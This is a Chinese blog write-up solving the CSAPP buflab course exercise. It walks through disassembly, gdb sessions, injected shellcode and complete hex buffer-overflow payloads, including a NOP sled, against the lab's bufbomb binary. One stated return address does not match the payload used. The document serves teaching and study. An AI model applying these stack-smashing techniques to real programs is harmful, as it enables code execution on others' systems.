CSAPP-buflab

利用gets函数的缺陷,输入内容对栈进行攻击,以修改程序的运行。

gets函数不会检测输入字符串的长度,若输入的字符串过长,就可能破坏程序原有的栈空间,将某些部分修改为自己想要的内容。


准备工作

先随意确定一个用户名,通过命令./makecookie userid获取其对应的cookie。

这里我选择的是bellaris,cookie值为0x1ce79ee7。

我们需要做的是编写攻击代码,作为bufbomb的输入,完成任务。攻击代码用16进制形式进行编写。例如:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 8e 04 08

就是将上述字符作为输入。hex2raw会帮助你将上述16进制数转换为字符串输入。

利用objdump反汇编获取bufbomb的汇编代码,进行分析。

objdump -d bufbomb > 1.txt


level0

查看writeup,可以知道我们运行可执行文件后,中间会执行test函数,在writeup中查看test的c语言代码如下:

1 void test()
2 {3 int val;
4 /* Put canary on stack to detect possible corruption */
5 volatile int local = uniqueval();
6
7 val = getbuf();
8
9 /* Check for corrupted stack */
10 if (local != uniqueval()) {11 printf("Sabotaged!: the stack has been corrupted\n");
12 }
13 else if (val == cookie) {14 printf("Boom!: getbuf returned 0x%x\n", val);
15 validate(3);
16 } else {5
17 printf("Dud: getbuf returned 0x%x\n", val);
18 }
19 }

可以看到在函数的第三行调用了getbuf这个函数,获取输入。我们继续查看getbuf的汇编代码。

08049262 <getbuf>:8049262: 55                      push   %ebp8049263: 89 e5                   mov    %esp,%ebp8049265:    83 ec 38                sub    $0x38,%esp8049268:   8d 45 d8                lea    -0x28(%ebp),%eax804926b: 89 04 24                mov    %eax,(%esp)804926e:  e8 bf f9 ff ff          call   8048c32 <Gets>8049273: b8 01 00 00 00          mov    $0x1,%eax8049278:    c9                      leave  8049279: c3                      ret    804927a: 90                      nop804927b: 90                      nop804927c: 90                      nop804927d: 90                      nop804927e: 90                      nop804927f: 90                      nop

前三行,开辟栈空间,大小为0x38。随后将 -0x28(%ebp) 的地址作为参数传入gets函数,说明输入的字符串被放在了 -0x28(%ebp) 的位置。

故构想一个这样的栈空间:

%ebp+4 ret addr(to test)
%ebp(function getbuf’s)
-0x28(%ebp) buf
%esp

我们需要修改getbuf函数执行后的返回地址,改为smoke函数的入口地址。gets函数是从起始地址往上写内容,故我们需要输入0x28+0x4=44个字节填充内容(0x00),然后再输入smoke的入口地址。查看smoke的入口地址:

08048e0a <smoke>:8048e0a:  55                      push   %ebp8048e0b: 89 e5                   mov    %esp,%ebp8048e0d:    83 ec 18                sub    $0x18,%esp8048e10:   c7 44 24 04 fe a2 04    movl   $0x804a2fe,0x4(%esp)8048e17: 08 8048e18: c7 04 24 01 00 00 00    movl   $0x1,(%esp)8048e1f:  e8 6c fb ff ff          call   8048990 <__printf_chk@plt>8048e24:    c7 04 24 00 00 00 00    movl   $0x0,(%esp)8048e2b:  e8 50 04 00 00          call   8049280 <validate>8048e30: c7 04 24 00 00 00 00    movl   $0x0,(%esp)8048e37:  e8 94 fa ff ff          call   80488d0 <exit@plt>

可以看到入口地址是0x08048e0a。由于gets函数检测到换行就会终止输入,且0x0a正好是换行符的ascii码形式,所以我们需要传smoke函数的其他地址,我们可以选择0x08058e0b,对函数运行无影响。同时要注意,由于是采用小端法方式存储的机器,故我们应该输入的内容应是:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 8e 04 08

运行结果:

valoran@ubuntu:~/buflab/buflab-handout$ ./hex2raw < level0.txt | ./bufbomb -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7
Type string:Smoke!: You called smoke()
VALID
NICE JOB!

level1

查看writeup,得知本题的要求与上题相似,在getbuf函数执行完毕后跳到fizz函数。

我们先查看fizz函数的c语言代码:

void fizz(int val)
{if (val == cookie) {printf("Fizz!: You called fizz(0x%x)\n", val);
validate(1);
} else
printf("Misfire: You called fizz(0x%x)\n", val);
exit(0);
}

可以知道,只有当传入参数值为cookie时才能输出正确结果。所以同时还要将自己的cookie值作为参数传给fizz函数。

查看fizz函数的部分汇编代码:

08048daf <fizz>:8048daf:   55                      push   %ebp8048db0: 89 e5                   mov    %esp,%ebp8048db2:    83 ec 18                sub    $0x18,%esp8048db5:   8b 45 08                mov    0x8(%ebp),%eax8048db8:   3b 05 04 d1 04 08       cmp    0x804d104,%eax//cmp cookie and val8048dbe:   75 26                   jne    8048de6 <fizz+0x37>

可以看到,传入fizz函数的参数是放在fizz栈的 0x8(%ebp) 处。

同上题,我们构想一个栈空间:

before go to fizz after
test’s %ebp
argument1 %ebp+8 val
test’s %esp
ret addr(getbuf’s) fizz’s %ebp
getbuf’s %ebp getbuf’s %ebp
%ebp-28 buf %ebp-28 buf

故我们需要输入的内容应该是0x28+0x4=44字节的填充字符,然后是fizz函数的入口,随后又是4字节的填充字符,最后是cookie值。查看汇编代码发现fizz函数的入口是 08048daf <fizz>。故我们应该输入的内容应是:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 8d 04 08 00 00 00 00 e7 9e e7 1c

运行结果:

valoran@ubuntu:~/buflab/buflab-handout$ ./hex2raw < level1.txt | ./bufbomb -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7
Type string:Fizz!: You called fizz(0x1ce79ee7)
VALID
NICE JOB!

level2

查看writeup,可以知道,这次我们需要跳转到bang函数:

int global_value = 0;
void bang(int val)
{if (global_value == cookie) {printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

而且我们需要修改全局变量global_value的值使其等于cookie,才会输出正确结果。

查看bang的汇编代码:

08048d52 <bang>:8048d52:   55                      push   %ebp8048d53: 89 e5                   mov    %esp,%ebp8048d55:    83 ec 18                sub    $0x18,%esp8048d58:   a1 0c d1 04 08          mov    0x804d10c,%eax8048d5d:   3b 05 04 d1 04 08       cmp    0x804d104,%eax8048d63:   75 26                   jne    8048d8b <bang+0x39>8048d65:   89 44 24 08             mov    %eax,0x8(%esp)8048d69:   c7 44 24 04 ac a4 04    movl   $0x804a4ac,0x4(%esp)8048d70: 08 8048d71: c7 04 24 01 00 00 00    movl   $0x1,(%esp)8048d78:  e8 13 fc ff ff          call   8048990 <__printf_chk@plt>8048d7d:    c7 04 24 02 00 00 00    movl   $0x2,(%esp)8048d84:  e8 f7 04 00 00          call   8049280 <validate>8048d89: eb 18                   jmp    8048da3 <bang+0x51>8048d8b:   89 44 24 08             mov    %eax,0x8(%esp)8048d8f:   c7 44 24 04 c2 a2 04    movl   $0x804a2c2,0x4(%esp)8048d96: 08 8048d97: c7 04 24 01 00 00 00    movl   $0x1,(%esp)8048d9e:  e8 ed fb ff ff          call   8048990 <__printf_chk@plt>8048da3:    c7 04 24 00 00 00 00    movl   $0x0,(%esp)8048daa:  e8 21 fb ff ff          call   80488d0 <exit@plt>

可以看到,程序将0x804d10c和0x804d104两个地址中的值进行了比较,经过分析,global_value的地址为0x804d10c,cookie存放的地址是0x804d104。故我们只需要编写汇编代码,将cookie值赋给global_value,然后将bang函数的入口压栈,返回bang函数即可。编写的汇编代码如下:

movl 0x804d104,%eax
movl %eax,0x804d10c
push $0x8048d52
ret

使用指令gcc -m32 -c level2.s -o level2objdump -d level2 > level2.txt获取汇编代码的机器码形式,将这些机器码放在开头,然后和之前一样加入填充字符,最后填入buf字符串存放的首地址作为getbuf的返回地址即可,可以通过gdb查看,找到是0x55683118。故我们应该输入的内容应是:

a1 04 d1 04 08 a3 0c d1 04 08 68 52 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 31 68 55

运行结果:

valoran@ubuntu:~/buflab/buflab-handout$ ./hex2raw < level2.txt | ./bufbomb -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7
Type string:Bang!: You set global_value to 0x1ce79ee7
VALID
NICE JOB!

level3

查看writeup,可以得知要求与之前不同,需要我们在getbuf之后返回到原位置(即test函数中调用getbuf的下一条指令),同时返回值也要求是cookie值而不是1。

所以我们需要进行以下操作:

  • 将%eax修改为cookie的值(函数的返回值是存放在%eax内)
  • 恢复test的栈帧(%ebp)
  • 返回test函数相应位置

我们可以通过gdb调试来获取test函数的%ebp值:

valoran@ubuntu:~/buflab/buflab-handout$ gdb -q bufbomb
Reading symbols from /home/valoran/buflab/buflab-handout/bufbomb...(no debugging symbols found)...done.
(gdb) b *0x8048e48
Breakpoint 1 at 0x8048e48
(gdb) r -u bellaris
Starting program: /home/valoran/buflab/buflab-handout/bufbomb -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7Breakpoint 1, 0x08048e48 in test ()
(gdb) p $ebp
$1 = (void *) 0x55683170

将断点设在test函数中调用getbuf之前的位置,得到需要恢复的栈帧是0x55683170

和前面的题一样,我们先编写汇编代码:

movl $0x1ce79ee7,%eax
movl $0x55683170,%ebp
push $0x08048e50
ret

获取机器码后,将其填到开头,加上填充位,在共44个字节后,填入跳转地址(buf的首地址),最终的攻击代码为:

b8 e7 9e e7 1c bd 70 31 68 55 68 50 8e 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 31 68 55

运行结果:

valoran@ubuntu:~/buflab/buflab-handout$ ./hex2raw < level3.txt | ./bufbomb -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7
Type string:Boom!: getbuf returned 0x1ce79ee7
VALID
NICE JOB!

level4

本题与上题类似,也是需要返回到原函数并且返回值为cookie。但不同的是,运行时加上了-n参数,导致运行的函数是testn,其中获取输入的函数也变为了getbufn。同时,需要连续5次输入都能得到正确结果,我们查看getbufn的汇编代码:

08049244 <getbufn>:8049244:    55                      push   %ebp8049245: 89 e5                   mov    %esp,%ebp8049247:    81 ec 18 02 00 00       sub    $0x218,%esp804924d:  8d 85 f8 fd ff ff       lea    -0x208(%ebp),%eax8049253:    89 04 24                mov    %eax,(%esp)8049256:  e8 d7 f9 ff ff          call   8048c32 <Gets>804925b: b8 01 00 00 00          mov    $0x1,%eax8049260:    c9                      leave  8049261: c3                      ret

十分简单,和getbuf相似,不同的是开辟的栈变大,而且输入的buf放在了 -0x208(%ebp) 的位置。但是困难的是: 我们每次输入,栈帧位置都会变换。 但是栈顶是不会变的。所以我们可以用%esp来获取%ebp。

我们查看testn的部分汇编代码:

08048cce <testn>:8048cce:  55                      push   %ebp8048ccf: 89 e5                   mov    %esp,%ebp8048cd1:    53                      push   %ebx8048cd2: 83 ec 24                sub    $0x24,%esp8048cd5:   e8 3e ff ff ff          call   8048c18 <uniqueval>8048cda:    89 45 f4                mov    %eax,-0xc(%ebp)8048cdd:  e8 62 05 00 00          call   8049244 <getbufn>

可以看到,由于push了%ebx,所以%ebp=%esp+0x28。

和level3一样,编写汇编代码:

mov $0x1ce79ee7,%eax
leal 0x28(%esp),%ebp
push $0x8048ce2
ret

又由于我们无法确定buf存放的地址,故我们通过gdb调试获取每次输入getbufn栈帧的位置:

getbufn:
$1 = (void *) 0x55683140
$2 = (void *) 0x55683120
$3 = (void *) 0x55683180
$4 = (void *) 0x556830e0
$5 = (void *) 0x556831a0

buf=-0x208(%ebp),我们取最大的地址0x556831a0,得到buf的最高可能存放地址是0x55682f98。

根据实验指导,我们可以将0x208(buf’s area)+0x4(ebp)个输入字节出上面汇编代码的机器码之外用nop(0x90)填充,形成nop sleds。最后再加上buf的最高可能存放地址作为返回地址。最终的攻击代码如下:

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 e7 9e e7 1c 8d 6c 24 28 68 e2 8c 04 08 c3 98 2f 68 55

运行结果:

valoran@ubuntu:~/buflab/buflab-handout$ cat level4.txt | ./hex2raw -n | ./bufbomb -n -u bellaris
Userid: bellaris
Cookie: 0x1ce79ee7
Type string:KABOOM!: getbufn returned 0x1ce79ee7
Keep going
Type string:KABOOM!: getbufn returned 0x1ce79ee7
Keep going
Type string:KABOOM!: getbufn returned 0x1ce79ee7
Keep going
Type string:KABOOM!: getbufn returned 0x1ce79ee7
Keep going
Type string:KABOOM!: getbufn returned 0x1ce79ee7
VALID
NICE JOB!

csapp-buflab相关推荐

  1. CSAPP buflab 实验报告

    实验程序压缩包下载 提取码:1111 实验题目:BUFLAB 实验目的: 本实验将帮助您详细了解IA-32调用约定和堆栈组织.它涉及到对lab目录中的可执行文件bufbomb应用一系列缓冲区溢出攻击. ...

  2. 计算机系统实验之buflab

    buflab实验是CSAPP课程中bomblab实验之后的实验,相对来说buflab实验难度更大,但是有了bomb实验的基础,想要解决这个实验还是相对比较容易的.另外,要做出实验,需要通读实验文档,里 ...

  3. csapp 、sicp 、深入理解计算机系统、 计算机程序的构造和解释

    CSAPP 第一版的英文版 深入理解计算机系统第一版中文版  这个是csdn账号  这里上传文件大小在10M以内  这个pdf是19+M的 深入理解计算机系统第二版的中文版下载 第一版英文版的介绍原书 ...

  4. CSAPP第五章就在“扯淡”!

    "你的时间有限,所以不要为别人而活.不要被教条所限,不要活在别人的观念里.不要让别人的意见左右自己内心的声音.最重要的是,勇敢的去追随自己的心灵和直觉,只有自己的心灵和直觉才知道你自己的真实 ...

  5. csapp:无符号数可能造成的程序bug

    出自csapp练习2.26 size_t strlen(const char *s); int strloner(char *s,char *t) {return strlen(s)-strlen(t ...

  6. 链接器(linker)的作用——CSAPP第7章读书笔记

    首先说说我为什么要去读这一章.这个学期开OS的课,在Morden Operating System上读到和Process有关的内容时看到这样一句话:"Process is fundament ...

  7. CSAPP:第三章程序的机器级表示1

    CSAPP:程序的机器级表示1 关键点:数据格式.操作数指示符. 数据格式访问信息操作数指示符举例说明 数据格式   术语字(word)表示16位数据类型,32位数为双字(double words), ...

  8. 【❌❌深入浅出,九浅一深⭕⭕】《深入理解计算机系统》CSAPP

    <计算机系统基础>30' 一.处理器的时序电路 1.CPU中的时序电路 答: CPU中的时序电路:通过RS触发器控制CPU的时序. 2.单周期处理器的设计 答: CPU在处理指令时,一般需 ...

  9. CSAPP:Attack lab

    关注公号[逆向通信猿]更精彩!!! 原文地址:https://www.jianshu.com/p/db731ca57342 本文介绍的是CSAPP书籍中的第三个lab: Attack lab.通过这个 ...

  10. [精品]CSAPP Bomb Lab 解题报告(七)——隐藏关卡

    接上篇[精品]CSAPP Bomb Lab 解题报告(六) gdb常用指令 设置Intel代码格式:set disassembly-flavor intel 查看反汇编代码:disas phase_1 ...

最新文章

  1. git命令合并分支代码
  2. 解决nodejs环境下端口号被占用的方法
  3. 状态压缩 HDU 1565
  4. linux 自启动程序 优先级,Linux自启动服务优先级/顺序设置
  5. 【NLP】用于序列标注问题的条件随机场(Conditional Random Field, CRF)
  6. tortoisesvn › prefer local prefer repository
  7. 配置token_Nginx常用的配置
  8. popup java_PoPup
  9. 重构增长:如何从价值创造出发,打造企业的成长思维
  10. 屠杀机器人和无处不在的监控:AI是我们最大的生存威胁?
  11. linux下多线程的创建与等待详解 【转载】
  12. swift获取图片像素颜色值
  13. Vbs调用MsAgent组件,很有趣
  14. python:求100以内素数的和
  15. 【合同】产品设计:ID与MD设计合同模板
  16. 安全帽检测/人脸识别系统国标GB28181协议云服务EasyGBS搭建智慧工地 助力智慧建筑生态圈
  17. 解决 SSL握手失败问题
  18. opencc中文维基wiki百科简体繁体之间的转换解决
  19. 复合梯形公式matlab代码,复合梯形公式
  20. EMERGENCY! EUREKA MAY BE INCORRECTLY CLAIMING INSTANCES ARE UP WHEN THEY'RE NOT.

热门文章

  1. Logistic映射
  2. Java中RGBtoHSB_HSV/HSB颜色排序列表
  3. 电脑加一个固态硬盘,如何修改电脑的启动项。
  4. 计算机考研时间科目,2018年考研初试各科目时间安排清单
  5. setoolkit进行钓鱼攻击
  6. Fuchsia 的 Rust 代码占比超 50%
  7. android系统wifi控制风扇,无线远程遥控风扇设计实现
  8. 靶机渗透练习25-Funbox4-CTF
  9. android 记录触屏坐标,android 屏幕坐标总结
  10. 云闪付,每天签到,转账领红包,新用户领取8-2018元红包